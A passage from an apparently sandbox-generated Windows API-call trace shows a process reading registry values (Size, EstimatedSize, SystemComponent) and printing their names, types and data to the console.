lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.692] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.692] GetProcessHeap () returned 0x2e0000 [0147.692] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.692] GetProcessHeap () returned 0x2e0000 [0147.692] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.692] GetProcessHeap () returned 0x2e0000 [0147.692] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.692] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.692] __iob_func () returned 0x7fefd702a80 [0147.692] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.692] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.693] _fileno (_File=0x7fefd702ab0) returned 1 [0147.693] _errno () returned 0xc4bb0 [0147.693] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.693] _errno () returned 0xc4bb0 [0147.693] GetFileType (hFile=0x50) returned 0x1 [0147.693] lstrlenW (lpString=" ") returned 4 [0147.693] GetConsoleOutputCP () returned 0x1b5 [0147.693] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.693] GetConsoleOutputCP () returned 0x1b5 [0147.693] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.693] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.693] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.693] lstrlenW (lpString="Size") returned 4 [0147.693] __iob_func () returned 0x7fefd702a80 [0147.693] _fileno (_File=0x7fefd702ab0) returned 1 [0147.693] _errno () returned 0xc4bb0 [0147.693] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.693] _errno () returned 0xc4bb0 [0147.693] GetFileType (hFile=0x50) returned 0x1 [0147.693] lstrlenW (lpString="Size") returned 4 [0147.693] GetConsoleOutputCP () returned 0x1b5 [0147.694] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.694] GetConsoleOutputCP () returned 0x1b5 [0147.694] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0147.694] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.694] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.694] __iob_func () returned 0x7fefd702a80 [0147.694] _fileno (_File=0x7fefd702ab0) returned 1 [0147.694] _errno () returned 0xc4bb0 [0147.694] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.694] _errno () returned 0xc4bb0 [0147.694] GetFileType (hFile=0x50) returned 0x1 [0147.694] lstrlenW (lpString=" ") returned 4 [0147.694] GetConsoleOutputCP () returned 0x1b5 [0147.694] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.694] GetConsoleOutputCP () returned 0x1b5 [0147.694] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.694] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.694] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.694] __iob_func () returned 0x7fefd702a80 [0147.694] _fileno (_File=0x7fefd702ab0) returned 1 [0147.694] _errno () returned 0xc4bb0 [0147.694] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.694] _errno () returned 0xc4bb0 [0147.695] GetFileType (hFile=0x50) returned 0x1 [0147.695] lstrlenW (lpString="REG_SZ") returned 6 [0147.695] GetConsoleOutputCP () returned 0x1b5 [0147.695] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.695] GetConsoleOutputCP () returned 0x1b5 [0147.695] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.695] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.695] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.695] __iob_func () returned 0x7fefd702a80 [0147.695] _fileno (_File=0x7fefd702ab0) returned 1 [0147.695] _errno () returned 0xc4bb0 [0147.695] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.695] _errno () returned 0xc4bb0 [0147.695] GetFileType (hFile=0x50) returned 0x1 [0147.695] lstrlenW (lpString=" ") returned 4 [0147.695] GetConsoleOutputCP () returned 0x1b5 [0147.695] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.695] GetConsoleOutputCP () returned 0x1b5 [0147.695] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.695] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.696] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.696] __iob_func () returned 0x7fefd702a80 [0147.696] _fileno (_File=0x7fefd702ab0) returned 1 [0147.696] _errno () returned 0xc4bb0 [0147.696] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.696] _errno () returned 0xc4bb0 [0147.696] GetFileType (hFile=0x50) returned 0x1 [0147.696] lstrlenW (lpString="") returned 0 [0147.696] __iob_func () returned 0x7fefd702a80 [0147.696] _fileno (_File=0x7fefd702ab0) returned 1 [0147.696] _errno () returned 0xc4bb0 [0147.696] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.696] _errno () returned 0xc4bb0 [0147.696] GetFileType (hFile=0x50) returned 0x1 [0147.696] lstrlenW (lpString="\n") returned 1 [0147.696] GetConsoleOutputCP () returned 0x1b5 [0147.696] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.696] GetConsoleOutputCP () returned 0x1b5 [0147.696] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.696] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.696] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.696] GetProcessHeap () returned 0x2e0000 [0147.696] GetProcessHeap () returned 0x2e0000 [0147.696] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.696] GetProcessHeap () returned 0x2e0000 [0147.696] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.697] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.697] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.697] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.697] GetProcessHeap () returned 0x2e0000 [0147.697] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.697] GetProcessHeap () returned 0x2e0000 [0147.697] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.697] GetProcessHeap () returned 0x2e0000 [0147.697] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.697] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x27e4, pcbData=0x23f670*=0x4) returned 0x0 [0147.697] __iob_func () returned 0x7fefd702a80 [0147.697] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.697] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.697] _fileno (_File=0x7fefd702ab0) returned 1 [0147.697] _errno () returned 0xc4bb0 [0147.697] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.697] _errno () returned 0xc4bb0 [0147.697] GetFileType (hFile=0x50) returned 0x1 [0147.697] lstrlenW (lpString=" ") returned 4 [0147.697] GetConsoleOutputCP () returned 0x1b5 [0147.697] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.697] GetConsoleOutputCP () returned 0x1b5 [0147.697] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.697] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.697] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.698] lstrlenW (lpString="EstimatedSize") returned 13 [0147.698] __iob_func () returned 0x7fefd702a80 [0147.698] _fileno (_File=0x7fefd702ab0) returned 1 [0147.698] _errno () returned 0xc4bb0 [0147.698] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.698] _errno () returned 0xc4bb0 [0147.698] GetFileType (hFile=0x50) returned 0x1 [0147.698] lstrlenW (lpString="EstimatedSize") returned 13 [0147.698] GetConsoleOutputCP () returned 0x1b5 [0147.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.698] GetConsoleOutputCP () returned 0x1b5 [0147.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0147.698] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.698] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.698] __iob_func () returned 0x7fefd702a80 [0147.698] _fileno (_File=0x7fefd702ab0) returned 1 [0147.698] _errno () returned 0xc4bb0 [0147.698] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.698] _errno () returned 0xc4bb0 [0147.698] GetFileType (hFile=0x50) returned 0x1 [0147.698] lstrlenW (lpString=" ") returned 4 [0147.698] GetConsoleOutputCP () returned 0x1b5 [0147.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.698] GetConsoleOutputCP () returned 0x1b5 [0147.699] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.699] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.699] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.699] __iob_func () returned 0x7fefd702a80 [0147.699] _fileno (_File=0x7fefd702ab0) returned 1 [0147.699] _errno () returned 0xc4bb0 [0147.699] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.699] _errno () returned 0xc4bb0 [0147.699] GetFileType (hFile=0x50) returned 0x1 [0147.699] lstrlenW (lpString="REG_DWORD") returned 9 [0147.699] GetConsoleOutputCP () returned 0x1b5 [0147.699] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.699] GetConsoleOutputCP () returned 0x1b5 [0147.699] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.699] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.699] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.699] __iob_func () returned 0x7fefd702a80 [0147.699] _fileno (_File=0x7fefd702ab0) returned 1 [0147.699] _errno () returned 0xc4bb0 [0147.699] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.699] _errno () returned 0xc4bb0 [0147.699] GetFileType (hFile=0x50) returned 0x1 [0147.699] lstrlenW (lpString=" ") returned 4 [0147.700] GetConsoleOutputCP () returned 0x1b5 [0147.700] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.700] GetConsoleOutputCP () returned 0x1b5 [0147.700] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.700] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.700] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.700] __iob_func () returned 0x7fefd702a80 [0147.700] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.700] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x27e4") returned 6 [0147.700] _fileno (_File=0x7fefd702ab0) returned 1 [0147.700] _errno () returned 0xc4bb0 [0147.700] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.700] _errno () returned 0xc4bb0 [0147.700] GetFileType (hFile=0x50) returned 0x1 [0147.700] lstrlenW (lpString="0x27e4") returned 6 [0147.700] GetConsoleOutputCP () returned 0x1b5 [0147.700] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x27e4", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.700] GetConsoleOutputCP () returned 0x1b5 [0147.700] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x27e4", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x27e4", lpUsedDefaultChar=0x0) returned 6 [0147.700] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.700] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.701] __iob_func () returned 0x7fefd702a80 [0147.701] _fileno (_File=0x7fefd702ab0) returned 1 [0147.701] _errno () returned 0xc4bb0 [0147.701] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.701] _errno () returned 0xc4bb0 [0147.701] GetFileType (hFile=0x50) returned 0x1 [0147.701] lstrlenW (lpString="\n") returned 1 [0147.701] GetConsoleOutputCP () returned 0x1b5 [0147.701] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.701] GetConsoleOutputCP () returned 0x1b5 [0147.701] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.701] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.701] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.701] GetProcessHeap () returned 0x2e0000 [0147.701] GetProcessHeap () returned 0x2e0000 [0147.701] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.701] GetProcessHeap () returned 0x2e0000 [0147.701] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.701] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.701] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.701] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.701] GetProcessHeap () returned 0x2e0000 [0147.701] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.701] GetProcessHeap () returned 0x2e0000 [0147.702] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.702] GetProcessHeap () returned 0x2e0000 [0147.702] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.702] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.702] __iob_func () returned 0x7fefd702a80 [0147.702] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.702] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.702] _fileno (_File=0x7fefd702ab0) returned 1 [0147.702] _errno () returned 0xc4bb0 [0147.702] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.702] _errno () returned 0xc4bb0 [0147.702] GetFileType (hFile=0x50) returned 0x1 [0147.702] lstrlenW (lpString=" ") returned 4 [0147.702] GetConsoleOutputCP () returned 0x1b5 [0147.702] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.702] GetConsoleOutputCP () returned 0x1b5 [0147.702] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.702] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.702] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.702] lstrlenW (lpString="SystemComponent") returned 15 [0147.702] __iob_func () returned 0x7fefd702a80 [0147.702] _fileno (_File=0x7fefd702ab0) returned 1 [0147.702] _errno () returned 0xc4bb0 [0147.702] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.702] _errno () returned 0xc4bb0 [0147.702] GetFileType (hFile=0x50) returned 0x1 [0147.702] lstrlenW (lpString="SystemComponent") returned 15 [0147.703] GetConsoleOutputCP () returned 0x1b5 [0147.703] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.703] GetConsoleOutputCP () returned 0x1b5 [0147.703] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0147.703] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.703] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.703] __iob_func () returned 0x7fefd702a80 [0147.703] _fileno (_File=0x7fefd702ab0) returned 1 [0147.703] _errno () returned 0xc4bb0 [0147.703] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.703] _errno () returned 0xc4bb0 [0147.703] GetFileType (hFile=0x50) returned 0x1 [0147.703] lstrlenW (lpString=" ") returned 4 [0147.703] GetConsoleOutputCP () returned 0x1b5 [0147.703] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.703] GetConsoleOutputCP () returned 0x1b5 [0147.703] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.703] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.703] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.704] __iob_func () returned 0x7fefd702a80 [0147.704] _fileno (_File=0x7fefd702ab0) returned 1 [0147.704] _errno () returned 0xc4bb0 [0147.704] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.704] _errno () returned 0xc4bb0 [0147.704] GetFileType (hFile=0x50) returned 0x1 [0147.704] lstrlenW (lpString="REG_DWORD") returned 9 [0147.704] GetConsoleOutputCP () returned 0x1b5 [0147.704] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.704] GetConsoleOutputCP () returned 0x1b5 [0147.704] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.704] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.704] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.704] __iob_func () returned 0x7fefd702a80 [0147.704] _fileno (_File=0x7fefd702ab0) returned 1 [0147.704] _errno () returned 0xc4bb0 [0147.704] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.704] _errno () returned 0xc4bb0 [0147.704] GetFileType (hFile=0x50) returned 0x1 [0147.704] lstrlenW (lpString=" ") returned 4 [0147.704] GetConsoleOutputCP () returned 0x1b5 [0147.704] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.704] GetConsoleOutputCP () returned 0x1b5 [0147.705] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.705] fprintf (in: _File=0x7fefd702ab0, 